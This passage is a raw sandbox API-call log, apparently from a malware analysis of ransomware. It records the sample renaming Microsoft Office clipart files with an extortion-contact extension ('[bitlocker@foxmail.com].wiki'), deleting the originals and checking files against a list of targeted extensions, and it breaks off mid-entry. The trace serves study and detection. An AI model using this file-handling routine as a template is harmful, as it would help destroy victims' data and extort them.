Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0185.538] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=6996) returned 1 [0185.538] CloseHandle (hObject=0x1d0) returned 1 [0185.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf")) returned 0x20 [0185.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0185.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0185.539] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.539] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0185.539] GetLastError () returned 0x0 [0185.539] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x1b54, lpOverlapped=0x0) returned 1 [0185.595] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x1b60, lpOverlapped=0x0) returned 1 [0185.596] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0185.596] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0185.596] SetEndOfFile (hFile=0x1f4) returned 1 [0185.596] CloseHandle (hObject=0x1f4) returned 1 [0185.596] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.596] SetEndOfFile (hFile=0x1d0) returned 1 [0185.597] CloseHandle (hObject=0x1d0) returned 1 [0185.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0185.597] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf")) returned 1 [0185.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0185.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0185.598] lstrlenW (lpString=".doc") returned 4 [0185.598] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.598] lstrlenW (lpString=".docx") returned 5 [0185.598] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.598] lstrlenW (lpString=".pdf") returned 4 [0185.598] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.598] lstrlenW (lpString=".xls") returned 4 [0185.598] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.598] lstrlenW (lpString=".xlsx") returned 5 [0185.598] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.598] lstrlenW (lpString=".ppt") returned 4 [0185.598] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0185.598] lstrlenW (lpString=".zip") returned 4 [0185.598] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.598] lstrlenW (lpString=".rar") returned 4 [0185.598] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.598] lstrlenW (lpString=".bz2") returned 4 [0185.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.598] lstrlenW (lpString=".7z") returned 3 [0185.598] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0185.598] lstrlenW (lpString=".dbf") returned 4 [0185.598] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0185.599] lstrlenW (lpString=".1cd") returned 4 [0185.599] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0185.599] lstrlenW (lpString=".jpg") returned 4 [0185.599] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0185.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0185.599] lstrlenW (lpString=".doc") returned 4 [0185.599] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.599] lstrlenW (lpString=".docx") returned 5 [0185.599] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.599] lstrlenW (lpString=".pdf") returned 4 [0185.599] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.599] lstrlenW (lpString=".xls") returned 4 [0185.599] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.599] lstrlenW (lpString=".xlsx") returned 5 [0185.599] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.599] lstrlenW (lpString=".ppt") returned 4 [0185.599] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0185.599] lstrlenW (lpString=".zip") returned 4 [0185.599] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.599] lstrlenW (lpString=".rar") returned 4 [0185.599] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.599] lstrlenW (lpString=".bz2") returned 4 [0185.599] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.599] lstrlenW (lpString=".7z") returned 3 [0185.599] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0185.599] lstrlenW (lpString=".dbf") returned 4 [0185.599] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0185.600] lstrlenW (lpString=".1cd") returned 4 [0185.600] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0185.600] lstrlenW (lpString=".jpg") returned 4 [0185.600] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.600] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0185.600] lstrlenW (lpString="BL00525_.WMF") returned 12 [0185.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0185.600] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=9590) returned 1 [0185.600] CloseHandle (hObject=0x1d0) returned 1 [0185.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf")) returned 0x20 [0185.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0185.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0185.601] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.601] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0185.601] GetLastError () returned 0x0 [0185.601] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x2576, lpOverlapped=0x0) returned 1 [0185.617] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x2580, lpOverlapped=0x0) returned 1 [0185.618] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0185.618] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0185.618] SetEndOfFile (hFile=0x1f4) returned 1 [0185.618] CloseHandle (hObject=0x1f4) returned 1 [0185.618] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.618] SetEndOfFile (hFile=0x1d0) returned 1 [0185.619] CloseHandle (hObject=0x1d0) returned 1 [0185.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0185.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf")) returned 1 [0185.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0185.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0185.620] lstrlenW (lpString=".doc") returned 4 [0185.620] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.620] lstrlenW (lpString=".docx") returned 5 [0185.620] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.620] lstrlenW (lpString=".pdf") returned 4 [0185.620] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.620] lstrlenW (lpString=".xls") returned 4 [0185.620] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.620] lstrlenW (lpString=".xlsx") returned 5 [0185.620] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.620] lstrlenW (lpString=".ppt") returned 4 [0185.620] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0185.620] lstrlenW (lpString=".zip") returned 4 [0185.620] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.620] lstrlenW (lpString=".rar") returned 4 [0185.620] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.620] lstrlenW (lpString=".bz2") returned 4 [0185.620] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.620] lstrlenW (lpString=".7z") returned 3 [0185.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0185.620] lstrlenW (lpString=".dbf") returned 4 [0185.620] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0185.621] lstrlenW (lpString=".1cd") returned 4 [0185.621] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0185.621] lstrlenW (lpString=".jpg") returned 4 [0185.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0185.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0185.621] lstrlenW (lpString=".doc") returned 4 [0185.621] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.621] lstrlenW (lpString=".docx") returned 5 [0185.621] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.621] lstrlenW (lpString=".pdf") returned 4 [0185.621] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.621] lstrlenW (lpString=".xls") returned 4 [0185.621] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.621] lstrlenW (lpString=".xlsx") returned 5 [0185.621] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.621] lstrlenW (lpString=".ppt") returned 4 [0185.621] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0185.621] lstrlenW (lpString=".zip") returned 4 [0185.621] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.621] lstrlenW (lpString=".rar") returned 4 [0185.621] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.621] lstrlenW (lpString=".bz2") returned 4 [0185.621] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.621] lstrlenW (lpString=".7z") returned 3 [0185.621] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0185.621] lstrlenW (lpString=".dbf") returned 4 [0185.621] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0185.622] lstrlenW (lpString=".1cd") returned 4 [0185.622] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0185.622] lstrlenW (lpString=".jpg") returned 4 [0185.622] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.622] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0185.622] lstrlenW (lpString="BL00921_.WMF") returned 12 [0185.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0185.622] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=4408) returned 1 [0185.622] CloseHandle (hObject=0x1d0) returned 1 [0185.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf")) returned 0x20 [0185.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0185.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0185.623] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.623] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0185.623] GetLastError () returned 0x0 [0185.623] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x1138, lpOverlapped=0x0) returned 1 [0185.642] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x1140, lpOverlapped=0x0) returned 1 [0185.643] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0185.644] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0185.644] SetEndOfFile (hFile=0x1f4) returned 1 [0185.644] CloseHandle (hObject=0x1f4) returned 1 [0185.644] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.644] SetEndOfFile (hFile=0x1d0) returned 1 [0185.645] CloseHandle (hObject=0x1d0) returned 1 [0185.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0185.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf")) returned 1 [0185.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0185.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0185.645] lstrlenW (lpString=".doc") returned 4 [0185.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.645] lstrlenW (lpString=".docx") returned 5 [0185.645] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.645] lstrlenW (lpString=".pdf") returned 4 [0185.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.645] lstrlenW (lpString=".xls") returned 4 [0185.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.645] lstrlenW (lpString=".xlsx") returned 5 [0185.645] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.645] lstrlenW (lpString=".ppt") returned 4 [0185.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0185.645] lstrlenW (lpString=".zip") returned 4 [0185.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.646] lstrlenW (lpString=".rar") returned 4 [0185.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.646] lstrlenW (lpString=".bz2") returned 4 [0185.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.646] lstrlenW (lpString=".7z") returned 3 [0185.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0185.646] lstrlenW (lpString=".dbf") returned 4 [0185.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0185.646] lstrlenW (lpString=".1cd") returned 4 [0185.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0185.646] lstrlenW (lpString=".jpg") returned 4 [0185.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0185.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0185.646] lstrlenW (lpString=".doc") returned 4 [0185.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.646] lstrlenW (lpString=".docx") returned 5 [0185.646] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.646] lstrlenW (lpString=".pdf") returned 4 [0185.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.646] lstrlenW (lpString=".xls") returned 4 [0185.646] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.646] lstrlenW (lpString=".xlsx") returned 5 [0185.646] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.646] lstrlenW (lpString=".ppt") returned 4 [0185.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0185.647] lstrlenW (lpString=".zip") returned 4 [0185.647] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.647] lstrlenW (lpString=".rar") returned 4 [0185.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.647] lstrlenW (lpString=".bz2") returned 4 [0185.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.647] lstrlenW (lpString=".7z") returned 3 [0185.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0185.647] lstrlenW (lpString=".dbf") returned 4 [0185.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0185.647] lstrlenW (lpString=".1cd") returned 4 [0185.647] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0185.647] lstrlenW (lpString=".jpg") returned 4 [0185.647] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.647] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0185.647] lstrlenW (lpString="BL00985_.WMF") returned 12 [0185.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0185.648] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3768) returned 1 [0185.648] CloseHandle (hObject=0x1d0) returned 1 [0185.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft 